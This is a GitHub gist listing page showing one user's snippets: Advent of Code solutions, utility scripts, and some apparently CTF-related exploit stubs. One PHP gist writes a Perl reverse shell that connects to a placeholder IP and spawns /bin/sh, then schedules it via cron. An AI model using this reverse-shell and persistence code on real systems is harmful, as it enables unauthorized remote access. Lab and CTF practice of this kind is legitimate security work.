Skip to content

Instantly share code, notes, and snippets.

@safiire
safiire / day_two.rb
Last active December 3, 2023 21:17
Advent of Code 2023 Day 2
#!/usr/bin/env ruby
INPUT_FILE = 'part_one.input'
View = Data.define(:r, :g, :b) do
REGEX = /(\d+) red|(\d+) green|(\d+) blue/
def total = r + g + b
def power = r * g * b
def +(o) = self.class[r + o.r, g + o.g, b + o.b]
@safiire
safiire / day_one.rb
Last active December 2, 2023 02:22
Advent of Code 2023 Day 1
#!/usr/bin/env ruby
input = File.read('day_one.input')
Token = Data.define(:forward, :backward)
Tokens = {
eightwo: Token[8, 2],
eighthree: Token[8, 3],
fiveight: Token[5, 8],
nineight: Token[9, 8],
@safiire
safiire / rigol_screenshot.rb
Created February 6, 2023 04:29
Grab a screenshot of my Rigol 1054 off the LAN and convert it to png
#!/usr/bin/env ruby
require 'csv'
require 'socket'
require 'tempfile'
IP = '192.168.0.24'
PORT = 5555
class Screenshot
@safiire
safiire / delete_reddit_comments.sh
Last active October 12, 2022 17:50
Delete all My Reddit Comments
#!/bin/bash
LIMIT='100'
SLEEP='1'
TOKEN='xxxxxxx-xxxxxxxxxxxxxxxxxx-xxxx-xxxxxx'
USERNAME='username'
# Delete a comment by id
function delete_comment() {
@safiire
safiire / passport_time.rb
Created September 10, 2021 04:37
Decode a Vaccine Passport QR code and Display Contents
#!/usr/bin/env ruby
require 'base64'
require 'json'
require 'zlib'
# Requirements:
# Debian: apt-get install zbar-tools
# OSX: brew install zbar
@safiire
safiire / hotp.rb
Last active April 1, 2019 03:47
A script to calculate an HOTP code
#!/usr/bin/env ruby
require 'base32'
require 'openssl'
# Script to calculate HOTP so I don't have to use my phone
class HOTP
def initialize(original_secret, counter = 0)
secret = Base32.decode(original_secret)
#!/usr/bin/env python
from pwn import *
context(arch='amd64', log_level='info')
if len(sys.argv) >= 2:
use_one_gadget = True
libc_so_filename = './libc-2.23.so'
print("Using libc %s" % libc_so_filename)
@safiire
safiire / netstat.rb
Created February 25, 2019 05:23
Grab Netstat from "hackback" box on HTB
#!/usr/bin/env ruby
require 'uri'
require 'net/http'
require 'json'
Url = 'http://hackback:6666/netstat'
puts "Grabbing #{Url}"
uri = URI.parse(Url)
@safiire
safiire / exploit.sh
Created January 9, 2019 20:04
Buffer overflow from a small amount of space, with some ROP and env shellcode
#!/bin/bash
# ASLR is on (stack, libs, vdso, etc)
# execstack is on
# .text segment is static, no pie
#
# #include <string.h>
#
# int dobug(char *arg) {
# char buf[8];
# strcpy(buf, arg);
@safiire
safiire / cron_executed_reverse_tcp.php
Created September 26, 2018 22:54
So your shell won't inherit php's file descriptor situation.
<?php
$perl = 'use Socket;$i="xx.xx.xx.xx";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};';
$fp = fopen('/tmp/shell.pl', 'w');
fwrite($fp, "#!/usr/bin/perl\n");
fwrite($fp, $perl);
fclose($fp);
system('chmod 777 /tmp/shell.pl');
$hour = date('H');
$minute = date('i') + 1; // disgusting
$fp = fopen('/tmp/add_cron.sh', 'w');